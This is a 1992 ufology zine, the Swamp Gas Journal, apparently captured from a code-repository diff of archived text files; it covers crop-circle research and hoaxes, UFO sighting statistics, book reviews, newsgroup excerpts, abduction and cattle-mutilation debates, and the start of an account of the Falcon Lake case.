NAICCR also tabulated UGM data such as circle diameter, ring width,
eccentricity and crop type. The disparity of variables between the
North American and British analyses shows how the two cerealogies differ
just as the ufologies. Hewitt's study is a fascinating and much-needed
contribution to cerealogy, and is hopefully only the first of many
quantitative research efforts from the British groups. NAICCR will
attempt to include some of Hewitt's variables in its future Reports,
and it is hoped that British cerealogists will include more dimensional
analyses in their future studies. Only through an increased effort to
exchange and standardize cerealogy data can progress be made. (Just
like what is needed in ufology!) Good work, Andy!
More circles: A review of cerealogy research was published in UFO,
an Italian ufozine affiliated with Centro Intaliano Studi Ufologici, in
its Spring 1992 issue. We were surprised to find that the NAICCR 1990
Report was summarized and translated into Italian as an example of
worldwide cerealogy research. Grazie!
Vance Tiede, of another American cerealogy group, sent me a printout
of circle data he compiled. There are about 80 cases in his North
American Circle Log, and each one has a pageful of data. Vance has
chosen (along with Rosemary Guiley, I would assume) to use even more
variables such as Latitude, Longitude, Local Newspaper Address,
Legislature Representatives, Local Agricultural Agent, State Senate
Agricultural Committee Chairman, and allowances for audio anomalies,
dowsing effects, photos, and the names of local military bases and
power stations. One of Vance's ideas is to lobby politicians for
support in investigations of crop circles, hence the listing of ag reps
and house reps. The co-ordinates are useful to those supporting, for
example, Richard Hoagland's energy grid theory.
The most recent NATIONAL SIGHTING YEARBOOK (1990), by Paul
Ferrughelli in New Jersey, is another excellent statistical study,
using data on 954 American UFO reports during the period 1986-1990.
Among Paul's findings: in 1990, numbers of reports peaked in January,
April and October (UFOROM found that Canadian reports peaked in January,
April and August); the hourly distribution peaked at 9:00 PM and had a
trough around 10:00 AM (in exact accordance with UFOROM's studies); and
a slight indication of Keel's "Wednesday phenomenon".
The 1990 YEARBOOK is well laid out, and includes several additional
analyses such as monthly multi-year analyses, shape breakdowns, an
analysis specifically of "deltoid" objects, historical comparisons of
1947 versus recent data, and another look at the apparent influence of
media coverage upon UFO reporting. As for this last effect, some of us
might remember Strentz' classic PhD thesis on this subject many years
ago, which found a very strong correlation. Ferrughelli found that
"television program coverage on UFOs does NOT (his emphasis) cause a
direct increase in UFO sightings" and that there was "no relationship
between the 2 sets of data".
The data for these analyses came from MUFON, and it is good to see
that MUFON UFO reports ARE sometimes available for use in studies by
researchers.
Ferrughelli used Hynek's classification of UFO data in his analyses,
as has UFOROM in its own previous reports. However, in Jacques
Vallee's recent books, he has offered a new classification system, and
I think his new taxonomy is a very viable one. Vallee proposes a 4x5
array of UFO report types, based upon Hynek's classifications, but
expanding them to provide a more detailed listing of anomalies,
including "FA (Fly-by)", "MA (Maneuver)" and CE1 to CE5. In addition,
he suggests a SVP "Credibility" rating, which is a three-digit code
involving Source reliability, site Visit and Possible explanations.
(I call it the "S'Il Vous Plait" rating.) Vallee's coding system is a
constructive reappraisal of the problem of UFO report classification.
It may not be perfect (for example, there is no way to specify a
nocturnal light versus a daylight disc, as far as I can tell), but it
does allow for fine-tuning of the data. The Vallee classifications are
detailed in his book CONFRONTATIONS, but also in his UFO CHRONICLES OF
THE SOVIET UNION, Ballantine Books, NY, 1992, pp. 196-200.
Possibly the most significant new UFO book this season has been
Volume Two of Jerome Clark's UFO ENCYCLOPEDIA (1992) [Official title:
EMERGENCE OF A PHENOMENON: UFOs FROM THE BEGINNING THROUGH 1959].
Despite is high price ($85 Amer?), it should be read by both
armchair UFO buffs as well as experienced researchers. Jerry has done
a phenomenal job in compiling information about UFOs and related events
covering the period up to 1959. There are entries on noted
personalities, major cases, disputed photographs and the contactee
movement. Drawing from a variety of sources, Jerry has produced a very
readable, informative work that stands alone or in complement to the
first volume. Because of its weight, it's more difficult than most
books to read in the bathtub, but it is worthwhile going through the
entire tome. Readers are guaranteed to learn details of cases about
which they were unaware.
Although the book has a definitely "pro" standpoint, Jerry is wise
to include reactions and explanations of major UFO cases by debunkers
such as Philip Klass and Donald Menzel. In Clark's telling of the
tales, he points out major boners and silly comments by debunkers AS
WELL AS overboard proponents, although the former group won't be thrilled
by the portrayals. Mind you, selective quotations out of context have
been used by both sides ...
My only real complaint is the unneven distribution of material.
Biographies of figures like Aime Michel and Isabel Davis are given only
a few paragraphs, but some contactees' bios are many pages in length.
Some sections, such as those on UFO reports before 1959, seem
interminable, even though the case information is interesting in
itself. The inclusion of a long, long entry on Australian UFOs (one of
the few outside contributions, by Bill Chalker) is valuable because
many European and American ufologists are likely unaware of much of the
activity in Oz. But there would be a case to be made for similar
sections about India, Africa, Russia, etc., in addition to the
Australian info.
Otherwise, the UFO ENCYCLOPEDIA is an excellent reference work, and
should be added to any library of Fortean material. Readers new to the
field should peruse the book to get a "proper schooling" in the subject
before making any outlandish claims (and to get correct background
information for their own writings). Clark has included extensive
references with each entry, as well as a condensed index. Volume Three
is anxiously awaited, and Jerry tells me there is a possibility of a
mass-market compendium in the future. Good work, Jer!
************************************************************************
Other Titbits:
As this issue of SGJ goes to press, there are a few bizarre
developments in the works. The NBC TV program UNSOLVED MYSTERIES is
FINALLY going to produce a segment about the noted Falcon Lake CE2.
NBC has been corresponding with me and others involved in the case for
about three years, and has at last set a production schedule. I will
be flown to the shoot to be interviewed in June, along with the
Michalak family and Ed Barker. This would be the equivalent of Bill
Moore and Kevin Randle, or Stanton Friedman and Jenny Randles, working
together in harmony on a UFO project. However, since I believe that
the airing of a segment on the Michalak case might jog someone's memory
and help in uncovering details (or even SOLVE!) the case, I have no
qualms about working with others with whom I do not agree.
For those of you who do not know about the case, in 1967, Stefan
Michalak had a CE2 experience while prospecting in eastern Manitoba.
One of two saucer-shaped craft landed near him, and he was burned by
its exhaust; radioactive soil and unusual silver fragments were later
found at the site. Apparently the special effects for the TV show will
be quite spectacular, involving "stunt men" and "pyrotechnics". I
would assume that it will be broadcast this fall.
Roy Bauer will be featured on an upcoming CBC NEWSMAGAZINE segment
in June. Roy was followed by a film crew as he travelled to Kenosee,
Saskatchewan, where some people were experiencing poltergeist
activity. A renovated dance hall and bar was being subjected to spooky
hauntings, including loud noises, malfunctioning equipment and one
instance of a wind which rushed out of a sealed room when a door was
opened. Roy is one of Canada's only "specter ejecters"; his business
card reads: "Specter Paranormal Investigations" and "Specialist in
Ghosts, Hauntings and Poltergeists".
Roy's thorough report describes the happenings in some detail, such
as the following:
"Little things began happening ... Things would disappear and
then reappear days or weeks later, such as a box of cash register tapes
and juice containers ... One employee witnessed hearing the cooler door
in the kitchen close when no one was around. What became almost
routine were the switching on and off of the cabaret lights. As part
of the regular closing procedure, either [names deleted] would make
sure all of the lights were off before they went to sleep. On many
occasions, when they went back downstairs, the lights would be on
again. On one occasion, the dishwasher in the cabaret switched itself
on for a few seconds, then off again. Footsteps were heard at various
times [when no one aws around] ... Once when [name deleted] reached for
a light switch in the dark, he felt something touch his arm ...
"[the owners] were awakened by loud banging that seemed to come
from the cabaret below ... 'loud as a car crash' ... it caused some
dishes to break ... there was no sign of entry. No sooner were they
back in bed than the banging started up again.
Police were called in on several occasions, but there were never any
signs of indtruders. " ... the straw that broke the camels back was
during one of the nights when they heard a loud, deep male moaning
which lasted about 10 seconds ..."
There were rumours that a church nearby the hall was haunted by the
ghost of a priest who had hanged himself. A local urban legend was
that the church glowed at night, cars would not start near it, and
driving by the church "at the wrong time" might get you killed. Roy
and the CBC crew put most of these tales to rest (the church was
painted a bright white, and because of its isolation and placement, you
could in fact see it far into dusk). But as for the other effects ...
A special hello goes out to Jim Moseley of SAUCER SMEAR, who has
been replaced by an entity named OSIEAU because of death threats from
some of his non-subscribers. Jim was always a bit of an odd bird,
anyway. It is not true that the editor of SGJ will be replaced by a
similar entity named PAMPLEMOUSSE.
************************************************************************
Letters and Correspondence:
I simply cannot thank all my correspondents enough for their letters,
newsclippings and zines. What's more, I can't even name you all! But,
poring through my "IN" basket, here are some of you:
Clive Nadin - thanks for the NRC cases! We're sorry to see you, Clare
and Holly head back home to Britain, but we wish you health, luck and
happiness! Don't forget to write! Don't let those vortices get you!
John Hicks - thanks for moderating the FIDONET UFO echo.
Gord Kijek - North America's best investigator!
Christian Page - Merci bien, mon ami!
Chris Davis - for all his help in setting up my computer stuff!
And the following (in no order whatsoever!): Philip Imbrogno, Robert
Sheaffer, Robert Girard, Vince Migliore, Jerry Clark, Mark Rodeghier,
John Timmerman, Sheldon Wernikoff, Michael Corbin, Mike Chorost, Jenny
Randles (keep your chin up, it makes a better target!), Paul Fuller,
Vance Tiede, Steve Bernheisel, John Cole, Ralph Noyes, Triana Chapman,
Bonnie Wheeler, Lorne Goldfader, Mike Strainic, Rosemary Ellen Guiley,
Paul ("Xerox") Cuttle, Gene Duplantier, Hilary Evans, John Robert
Colombo, James Lippard, Gordon Phinn, Jeff Harland, Gary Lanham, Harsha
Godavari, Stanton Friedman, Walt Andrus, Jim Moseley, Roy Bauer and
Grant Cameron. If I've left somebody out, I'm SORRY!
************************************************************************
The SWAMP GAS JOURNAL is a ufozine published irregularly by:
Ufology Research of Manitoba
Box 1918
Winnipeg, Manitoba
Canada R3C 3R2
and is copyright (c) 1992 by Chris A. Rutkowski
This issue is also available on an experimental basis on INTERNET by
e-mail to: rutkows@ccu.umanitoba.ca
The SWAMP GAS JOURNAL is free with limited distribution, but is
available primarily through zine exchanges, regularly contributing
Fortean info, or by providing two (2) International Postal Reply
Coupons in lieu of a subscription (to cover postage).
*************************************************************************
The following gives SGJ readers an inkling of the type of material
which appears in the INTERNET newsgroup alt.alien.visitors:
From alt.alien.visitors Mon Jun 8 10:53:05 1992
From: tseifert@morgan.ucs.mun.ca (Tim Seifert)
Newsgroups: alt.alien.visitors
Subject: Mysterious crop circles
Organization: Memorial University of Newfoundland
What is the recent status of the investigations into crop circles? What
are the latest explanations? Vortex? Space ships? EM ?
[a simple question, from an obviously uninformed reader]
From: ksand@apple.com (Kent Sandvik)
Newsgroups: alt.alien.visitors
Subject: Re: Mysterious crop circles
Date: 8 Jun 92 04:15:28 GMT
In article <1992Jun5.182806.3668@morgan.ucs.mun.ca>, tseifert@morgan.ucs.mun.ca
(Tim Seifert) writes:
>
> What is the recent status of the investigations into crop circles? What
> are the latest explanations? Vortex? Space ships? EM ?
Heck, no. Just people having fun with those who believe in mysterious
crop circles. By the way, I'm heading home to Finland this summer, and
the farmers have pretty nice crop fields in my home town. So don't
be surprised if pictures of mysterious crop fields in Finland should
pop up by end-July.
--
Cheers, Kent
[ ... unfortunately answered by a smart-aleck]
From: davidson@monet.cs.unc.edu (Drew Davidson)
Newsgroups: alt.alien.visitors
Subject: Hard Copy shows NASA UFO video
Date: 6 Jun 92 18:26:06 GMT
Organization: University of North Carolina, Chapel Hill
Lines: 34
The syndicated TV infotainment show Hard Copy showed a NASA videotape
beamed live from the Space Shuttle Discovery depicting a UFO flying
above the earth. The video appears to be black and white; the UFO is
just a speck of light. However, the light suddenly makes a right-angle
turn and speeds off into space at what appears to be high speed (it
actually seems to fly on a trajectory away from the camera, but seems to
go at high speed because it becomes quite dim and disappears as it is
moving a short distance on the screen). A second or two after the UFO
appears to speed off, an object shoots up at right angles to the earth,
somewhat near the position of the UFO a second or two earlier. Don
Ecker of UFO magazine theorizes that the UFO was making an evasive
maneuver to avoid being shot at.
NASA claims the object is a piece of ice made from waste water dumped by
the shuttle on a previous orbit. They have no comment about the
apparent shot coming from earth, or the apparent right-angle turn of the
UFO.
Whatever it is, it's very intriguing. It's very hard for me to believe
it was a piece of ice. I would like to know much more, like what part
of earth the UFO and shot were over, and if there were any UFO
encounters in that area on that date. I would also like to know what
the astronauts on board the shuttle thought of the incident when it
happened, and I would like to hear all radio transmissions made by them
before and after the incident.
Any comments on the video?
[I did not see this, but Gord Mathews and Roy Bauer did, and they said
it was a VERY fascinating film. I would imagine that we'll be hearing
much more about this in the coming months! However, I would tend to be
sympathetic with the following cautious reply:]
From: rhys@cs.uq.oz.au (Rhys Weatherley)
Newsgroups: alt.alien.visitors
Subject: Re: Hard Copy shows NASA UFO video
Date: 7 Jun 92 00:45:38 GMT
Lines: 25
In <12711@borg.cs.unc.edu> davidson@monet.cs.unc.edu (Drew Davidson) writes:
>NASA claims the object is a piece of ice made from waste water dumped by
>the shuttle on a previous orbit. They have no comment about the
>apparent shot coming from earth, or the apparent right-angle turn of the
>UFO.
It could be an ET-UFO, but it could also be totally Earthly in origin.
Considering that in modern warfare if the enemy can take out your spy sats and
other space-based military hardware, you are at a distinct disadvantage, what
this incident suggests to me is a test of some advanced military hardware to
see if it could avoid being "taken out".
It would also explain why the shuttle cameras were focused on this particular
hunk of "uninteresting ice" at the time. :-)
Just my opinion - it could be something else entirely - I haven't actually
seen the video in question.
Cheers,
Rhys.
--
Rhys Weatherley, University of Queensland, Australia.
rhys@cs.uq.oz.au "I'm a FAQ nut - what's your problem?"
***************************************************************************
Finally, a few last words about crop circles and UFO miscellany.
Gordon Phinn called to pass on info from John Paddington that about 20
formations have been found in Britain in 1992, so far (as of June 8).
Among the oddest is a triangle with inscribed circles (probably in reply
to Hawkins' fifth theorem challenge). What is most significant about
this information is that the circles have still not gone away, despite
a plethora of hoaxers, contests and admissions. Is this evidence of
the vortex theory at work?
Ralph Noyes has kindly passed on the CCCS's first step towards
compiling their own catalogue of circles. It covers only the Wiltshire
area, and each entry lists the discovery date, geographical location,
ordnance survey reference numbers and a sketch of the formation.
Between 9 June and 22 August 1991, there are 38 formations listed.
Most are multiple circles connected by corridors, and many are the
"Ra" "mouth" feature described earlier.
And - a plug for the 1991 Canadian UFO Report Survey, which is
nearly complete. This year, I had to wait much longer than usual to
receive reports from all the usual contributors, but the annual review
of Canadian UFO activity is finally in the works. Roughly, I can say
there were about the same number of UFOs reported as in previous years,
with similar distributions of types, locations and categories.
Thanks to all who contributed!
Cosmic salutations.

783
textfiles.com/ufo/swamp_62.txt Normal file
View File

@@ -0,0 +1,783 @@
Volume 6 The SWAMP GAS JOURNAL ISSN 0707-7106
Number 3 ********************* November 1992
This is the second issue of the SGJ which will be available in both
online and hardcopy format. The response to the last issue was
overwhelming, to say the least. It seems that there is a need for an
electronic version of this zine, so from now on, as long as is
feasible, the SGJ will be available via email. However, photos or
graphics pages will not be included in the electronic version; they
will be available in hardcopy only. (No, I do NOT want to hear about
.gif and .pif files!)
UFOs, LITs, LATERs, BOLs and WYSIWYG
With regard to those pesky flying things, a recent story in TIME
magazine (August 31, 1992, p.44) reported that: "UFO sightings are
down, and the saucer spotters are getting skeptical. What on earth is
going on?"
This was most interesting, especially to ufologists who tabulate UFO
activity. The UFOROM Canadian UFO Survey, for example, found that
numbers of UFO reports increased during the past two years. Similarly,
Paul Ferrughelli's annual report on American cases also found an
increase. What HAS decreased is the media's interest in carrying
stories about UFOs. This is not suprising, since the ridicule curtain
(as named by Allen Hynek) is still in effect. Furthermore, the vocal
efforts of CSICOP and independent skeptics' groups (that have
absolutely NOTHING to do with CSICOP, obviously) have caused many
editors to think twice before doing an article on paranormal
phenomena. An article by Don Berliner in a recent issue of IUR (Vol.17,
#5, Sept/Oct 1992, pp. 16-18), titled "Why the Press Acts That Way",
enumerates the various reasons why ufology is not taken seriously by
the media.
The TIME article went on to describe a UFO investigator named
Philip Mantle as one of "a new breed of UFOlogists who do not
believe that UFOs come from outer space." Where has TIME been all
these years? They interview New Agers wearing pyramid hats, and
then interview Philip Klass, and they think they have a complete
overview of ufology!
In terms of sighting numbers, Ferrughelli's latest National Sighting
Yearbook 1991 (60 Allen Drive, Wayne, NJ 07470) lists the
following totals: 1987 - 170; 1988 - 291; 1989 - 268; 1990 - 194;
and 1991 - 201. Report numbers dropped slightly in the early '90's,
but numbers are still above the 1987 figure. In Canada, UFOROM's
annual survey actually records many more cases per capita than the USA,
and numbers hover steadily around 175 cases per year. Where's the drop
in numbers that TIME describes?
The article points to the Belgium wave, where 2000 sightings were
recorded in 1991, but there have been only 50 in 1992 so far. In
Britain, the article cites a similar number this year, compared to
hundreds per year in the 1980's. But any ufologist worth his or her
salt would have been able to explain the mechanics of flaps and waves,
not to mention historical trends. So, the TIME article is not only
wrong, it's not even well-researched.
THE CIRCLE GAME
Let's talk circles. For years now, I've been commenting upon the
suspicious similarities between crop circles and classic UFO physical
traces. I've pointed out that flattened areas of crushed vegetation
have been found WITHOUT associated UFO activity throughout recorded
history. In Canada, classic UGM cases include Langenburg in 1974 and
Rossburn in 1977, both predating the British wave. And even Doug and
Dave admitted getting their ideas to make their hoaxes from the Tully
saucer nests in Australia back in 1967.
Furthermore, I have said all along that the vast majority of crop
circles are likely hoaxes. My own investigations and research, as well
as consultation with others in this field, suggested that the Meaden
vortex theory was not tenable, nor were theories concerning mating
hedgehogs, lightning and whatever. My observations were that, although
it is difficult to PROVE a particular site is a hoax, the likelihood of
this being so is very strong.
In recent issues of circle- and ufozines, some people seem to have
arrived at similar conclusions. In particular, a recent article in the
AFU (Sweden) Newsletter (No.36, Jan-Dec.1991) by Clas Svahn echoes many
comments that are quietly circulating among cerealogists fearful of
exposing the Emperor's new clothes. Svahn has visited the British
circle sites several times over the past few years, and his
observations are very interesting. He says:
"MONEY has become the number one concern for many of the
circle 'researchers'. Selling dubious books, postcards and other circle
paraphernalia tend to be more important than investigating the real
phenomenon (hopefully, there is one).
"It is not very reassuring to note that speculations and wishful
thinking are taking more and more space in books and magazines dealing
with the crop circles. Instead, one would like to see more soberness
and objectivity from the different groups involved."
In a review of recent books, Svahn notes that all authors:
"treat the phenomenon as if it was 100 percent genuine. Of course, they
acknowledge the Bower and Chorley 'intermezzo', but [none] seem to
realize that today there is no way to distinguish between 'real'
circles and hoaxes ... While the research is getting out of hand, the
researchers become more and more like New Age phophets ..."
Svahn's article includes personal observations of circle sites, and
commentaries about the actions of specific cerealogists. His most
poignant comment is emphasized in the original: "Most researchers tend
to hold on to their pet theories without taking others' criticisms
seriously. During my visits to England - and from the few reports I
have investigated here in Sweden - I HAVE BECOME MORE AND MORE
DISAPPOINTED AND UNCERTAIN OF THERE BEING A REAL PHENOMENON BEHIND THE
CIRCLES."
Is he alone in his opinions? Definitely not. In a major British
circlezine, the CROP WATCHER, editor Paul Fuller has a few biting
comments about the current state of cerealogy. In CW #12 (July/Aug
1992), Paul writes:
"Even the paranormally-inclined cerealogists have admitted that 1992
produced fakes galore, with few prepared to stick their necks out and
claim that a single [NB!] British circle qualified as 'genuine'. In
some ways, this restrained response could be construed as an
over-reaction to last summer's hoax revelations, but in reality the
awful truth has dawned on cerealogists everywhere - that most modern
crop circles really are man-made hoaxes and that if there ever was a
'genuine' phenomenon in the first place it has now been utterly swamped
by a smokescreen of wishful thinking and media-inspired mythology. Sad
words indeed but a fact which most researchers now seem to be accepting
with some reluctance."
Paul notes that "leading cerealogists accept that they have
lost the crop circle battle and that it is time to flee the sinking
ship." He observes that some prominent cerealogists are emigrating to
the USA, possibly for this reason. In fact, as obvious on a recent TV
episode of Sightings, Colin Andrews is now based in Connecticut.
As for the remaining "meteorologically-caused" circles, Terence Meaden,
that theory's main proponent has now stated that: "Anything other than
a simple circle is definitely a hoax", and he has now restricted the
number of 'genuine circles' to "fewer than a dozen a year". Paul
further notes: "It remains to be seen whether Meaden's meteorological
theory can survive such trauma."
Later in the issue, there appears a map of England, showing the
locations of "Known Crop Circle (Groups of) Hoaxes". I can't reproduce
it here, but to give readers a flavour for what's on it, the
editor notes that "there are so many known hoaxers that we couldn't
squeeze them all in!" Good old Doug and Dave, who got all the
publicity, are on there wih their small number of formations.
In North America, arch-skeptic Rob Day has publicly admitted he was
responsible for some of the recent crop circles in Alberta. A farmhand
who had used a garden tractor to make a UGM was caught by Roy Bauer and
Grant Cameron here in Manitoba. At least one set of hoaxers has
admitted to making some circles in the American Midwest. Given the
proliferation of hoaxes and the obvious contamination of crop
circle/UGM data, cerealogists had better take more care to ensure their
investigations are truly objective and unbiased.
Obviously, though, this caution is not confined to cerealogy. In no
less a controversial subject as crash/retrievals, Barry Greenwood
defends his publication JUST CAUSE in Number 33 (Sept.1992) of that
zine:
"Recently, we have received comments from several pro-UFO
readers questioning the relevancy and value of what we have published
in the last couple of years. We have apparently not been pro-ET enough
... We could very likely double our subscription rolls by reporting
titillating stories of underground alien bases, of simple verbal
accounts claiming knowledge of UFO technology, of what has become so
very trendy now - alien/human SEX! Actually, it would not be enough to
report such information - we would have to advocate it on a soapbox.
Then, we would likely be invited onto numerous media programs to give
the public what it craves - sensation.
"As one UFO pundit told us recently, printing sensible information
is not the road to fame and fortune. Trying to be balanced and careful
seem to be undesireable traits to some. So be it. We exist to inform,
not to put on a Wild-West show."
Howdy, pardners. Are you cowpokes listening?
Perhaps the most significant issue here is that all the comments
reprinted here are from zines that are ostensibly "pro" as opposed to
"skeptical" in the CSICOP sense. Despite repeated claims that ufology
and cerealogy are running rampant without any peer review, there has
always been a great deal of constructive and rational discussion within
the Fortean community. It isn't as common as "Wild-West" shows, but it
IS out there. I have always advocated an open and non-confrontational
approach to discussions in the fields of so-called "pseudoscience".
Very often, "balanced" forums or debates between skeptics and
"believers" degrade into arguments on semantics or the nature of
science. Innocent viewers/listeners/observers who are desperate for
understandable information about UFOs only get more confused and
turn back to traditional sources of information - the tabloid media.
Throughout my 15 years of involvement in Fortean research, I have
always tried to encourage discussion between the two camps of
"believers" and "skeptics". Usually, I've failed. Normally,
"believers" consider me to be a skeptic, while ardent skeptics think my
fence-sitting makes me an irrationalist. I often comment that sitting
on the fence can be very painful, not only from the pickets, but also
because you get things thrown at you from both sides. The trouble is
that, in my opinion, one cannot be truly impartial and objective unless
meaningful dialogue is shared between opposing parties, and such
dialogue should be solicited or precipitated whenever possible.
I find it amazing that I am one of a few ufologists who reads the
Skeptical Inquirer, and I am also one of the few skeptics who reads IUR
and the MUFON Journal. Conferences are a sore point, too.
I received an invitation to the second Las Vegas UFO Conference,
featuring talks by Wendelle Stevens, Jaime Shandera and Stanton
Friedman. At a cost of about $500 (CDN), I couldn't attend.
CSICOP conferences are similar in format; both factions usually feature
presentations of "the converted preaching to the converted". The two
groups meet with cross-purposes, and no useful dialogue talks place.
But can you imagine a joint CSICOP/MUFON meeting? I can't, either.
If such a meeting were to take place, it would likely degenerate
into a shouting match, and possibly a barroom brawl. The situation
would be similar to a radio debate for which I was invited to be the
spokesman for the "pro" side of UFOs, crop circles, etc. My opponent
was a member of a regional skeptics' group (which had ABSOLUTELY
nothing to do with CSICOP, of course). I was astounded at the vigour
with which I was verbally attacked. I was taken aback when my opponent
read from a transcript of a previous interview I had given, in order to
show how irrationalists such as myself contradict ourselves at every
opportunity. After listening intently, I pointed out that nothing in
my statement was contradictory, and he grudgingly agreed, having been
caught in his own trap. After all, I sometimes never contradict
myself in the course of a discussion.
The unfortunate part of the "debate" was that because there was a
constant stream of offensive and defensive verbiage flowing, only three
telephone calls from listeners were taken. Even the radio host
admitted that he was completely confused by the semantic arguments.
Listeners were wanting to get good information about sensational
subjects, but were completely turned off by the presentation.
How did I advocate the "pro" side? I didn't, deliberately. I had
explained that I represented UFOROM and had been investigating UFOs and
related phenomena for about 15 years. At no time did I claim that the
aliens were here, raping our Streibers and stealing our children. I
spoke from experience, describing facts without any deliberate
interpretation. On crop circles, my opponent insisted they were all
caused by hoaxers. I pointed out that that was a definite possibility,
but we had only caught one hoaxer in Canada in three years.
Furthermore, there still exists a possibility that winds can make SOME
crop circles. I may not think much of Meaden's theory, but many
scientists (defined variously) think it may have some merit. My opponent
insisted that these were trivial arguments, and that his view was
completely correct. The skeptical view is that since hoaxers are the
most PROBABLE explanation, then that is the CORRECT explanation. My
caution is that there are so many categories and kinds of UGMs, a
blanket statement of any kind is improper. There ARE cases which are
caused by hedgehogs, just as some are caused by hoaxers.
ABDUCTIONS?
A similar hassle would be created for an all-sides meeting to
discuss UFO abductions. In one corner would be skeptics such as Robert
Sheaffer and Philip Klass (author of "UFO Abductions - A Dangerous
Game"). In the other corner would be researchers such as John Mack,
David Gotlib and, of course, Budd Hopkins. Both sides would need to
put their dukes up. The skeptical standpoint is that abductions do not
take place, and the experiences are little more than dreams or
hallucinations fueled by the popular media. The "pro" UFO standpoint,
which is the one adopted by most UFO buffs and proclaimed at UFO
conferences, is that the aliens are abducting us for nefarious or
possibly benevolent reasons. But Mack and Gotlib are clinicians who
are engaged in the treatment and counseling of individuals who appear
to have had traumatic experiences that are represented by images of
aliens. Thousands of such cases DO exist; this is not the issue. WHY
people are reporting the experiences is the real issue. Imagination
fueled by tabloid tales? Certainly some cases are, but even if this is
so, there is still the problem of determining why such cases are
multiplying. What is the mechanism responsible? Why would people
unconsciously generate such experiences and hold to them so intensely?
There is no other comparable experience in the history of psychology or
sociology that has grabbed such a foothold in the public mind. So, the
problem is NOT to determine if aliens are abducting humans, but rather
to determine WHY the cases exist at all, and to understand the
psychological/sociological mechanisms behind the stories, IF there is
no physical or paraphysical cause.
BOO!
Fear-mongering. That's what discussions about cattle mutilations
and satanism are said to be. I was accused of being a fear-mongerer
for simply describing a meeting I had attended.
Now, I really didn't want to get into this argument in the SGJ, but
it's relevant to this discussion. In the course of my investigations
into Fortean phenomena, I have been asked to look into a few mute cases
here in Manitoba. None were extremely interesting. One carcass I
examined near Teulon in 1977 was badly picked over by the time I got to
the scene, and I never did get a chance to see the others. I have
spoken to various veterinarians, and opinion seemed to vary. At the
time, I heard a number of bizarre anecdotes, including one about a
perfectly square patch of hide removed from a carcass found in Alberta
in the 1970's.
Jerry Clark of CUFOS recently wrote a relevant editorial for IUR
which related his views on mutes. He pointed out that the
link between UFOs and mutes was virtually non-existent, somewhat
contradicting Linda Howe's stance. (Stigmatist Tom Adams also supports
the UFO link). A popular book by Daniel Kagan, titled Mute Evidence, is
often recommended by debunkers. Kagan spent some time talking with a
number of vets and government officials, and came to the conclusion
that mutes were a non-issue. Mute proponents, however, have pointed
out that Kagan's credentials and expertise are somewhat dubious,
implying he was not a credible authority and his conclusions were
unjustified.
In the mid-1970's, mute cases were popping up everywhere. Tommy Roy
Blann (does anybody know where he is these days?) even prepared a
confidential report for RCMP in Alberta, in which he provided them with
background information for their investigations into Canadian cases.
Tommy was pro-UFO, and the RCMP at the time were seriously considering
the possibility that satanic cults were involved. In 1992, more mutes
were reported in Alberta, but this time, newspaper accounts have the
RCMP denying any satanic links.
Recently, I had been invited to contact individuals in the employ of
both civic and provincial family services, because of my involvement in
local UFO cases. It seems that these individuals have encountered, in
their opinions, clear cases of ritual or satanic abuse in the course of
their work. They had heard of the alleged connection between child
abuse and UFO abductions, and wanted my opinion. They explained that
they had encountered "many cases" of ritual abuse, but that it was very
difficult to gather enough evidence that would be accepable in a court
of law. That is why, they suggested, debunkers' arguments that there
has never been any proof of ritual abuse or satanic cult activity are
technically correct, yet clinically false.
The problem is that, by strict definitions of proof and
falsifiability employed by debunkers in their analyses of unusual
phenomena, sociological and psychological phenomena sometimes fall
outside the definitions. It has been pointed out by other writers that
Freudian psychology and stock market analyses both fail in tests of
"scientific" definitions because they rely a great deal upon
interpretation and subjective opinions on the part of researchers in
those fields. So, in terms of "rigourous" proof, cases of ritual abuse
may be factual according to social workers and criminologists, but are
spurious and unsubstantiated to scientific objectivists.
The day after I met with the individuals from family services and
the social agencies, I was involved in a public debate on UFOs and
related matters. Hence, when I was asked if satanic cults had anything
to do with cattle mutilations, I replied that there might
be some connection. I was immediately branded a "fearmonger" by my
opponent, who obviously had never discussed the matter with social
workers and who probably would never do so. In no way was I trying to
scare the audience with gruesome tales of satanists killing cattle and
drinking blood; I only replied to the question with information I had
received the day before. It is quite true that many social caseworkers
believe that ritual abuse exists in our society. Indeed, my cynical
nature makes me fairly certain that "sick" people with an affinity for
such activity live in our midst.
The complexity of the issue is best described in a new book by David
K. Sakheim and Susan E. Devine, titled: Out of Darkness - Exploring
Satanism and Ritual Abuse (Lexington [MacMillan], 1992). Sakheim and
Devine present a survey of various views on the subject, written by
social workers, police, psychologists and victims. This is about as
balanced of a work as I have ever seen. The various authors caution
that the sensationalist version of rampant satanism is clearly fiction,
but note that there is some evidence that ritualistic acts do occur in
our society. The problem of finding "conclusive proof" is a major
concern, and obviously parallels ufology in this regard. In fact, UFO
abductions are mentioned several times in the the book, in the context
of evidence for alleged child abuse and screen memories. Perhaps the
most revealing chapter is about dealing with "nihilists" - those who
deny that such phenomena exist at all. Indeed, the infamous SKEPTICAL
INQUIRER article on the non-existence of satanism is examined and
refuted.
Another complication is the creation of a new skeptical group,
called the False Memory Syndrome Association (3508 Market St., Suite
128, Philadelphia, PA 19104). The executive director of the group, Dr.
Pamela Freyd, is sending reams of information to social workers
involved in abuse cases, in an effort to stop proliferation of the
acceptance of "remembered memories" such as child abuse, ritual abuse
and, yes, UFO abductions. Freyd points out that in many cases where an
adult "remembers" early abuse, investigation shows that no such events
had ever occurred. Cynical case workers are quick to point out that
the FMS group includes many people who have had work published by
Prometheus Books, and are therefore CSICOP debunkers at heart.
However, the FMS group's warnings should be heeded. The lesson is
there, too, for researchers involved with UFO abductions.
If debunkers wish to get into long diatribes with ritual abuse
investigators, arguing about the existence of cultists, let them do so.
It is beyond the abilities of most UFO/mute/trace investigators to
properly deal with this subject. Rationally, it would seem that
ufologists should remain apprised of the subject, but refer incidents
to more appropriately-trained individuals. This material is clearly
out of the league of most UFO buffs, and should stay there.
INSOLUBLE MISERIES
By now, many of you will have seen my appearance as a "U.F.O.
Researcher" on the Unsolved Mysteries segment aired on November 4th,
1992. The segment concerned the strange story of Stefan Michalak, who
claimed he was injured by an encounter with a saucer-shaped craft in
May, 1967.
Long ignored by most ufologists, the case may very well be one of
the best on record. According to his story, Michalak was doing some amateur
prospecting near the resort town of Falcon Lake, Manitoba, Canada,
examining the many rock outcroppings for signs of quartz. The area is
part of the Canadian Shield, quite rugged and covered with evergreens.
Numerous lakes and swamps exist there, and the forests are protected by
Federal and Provincial programs.
Around noon, Michalak heard the sounds of agitated geese on a pond
below his perch on a rocky plateau. He looked up to see two red
cigar-shaped objects flying slowly through the sky. One descended
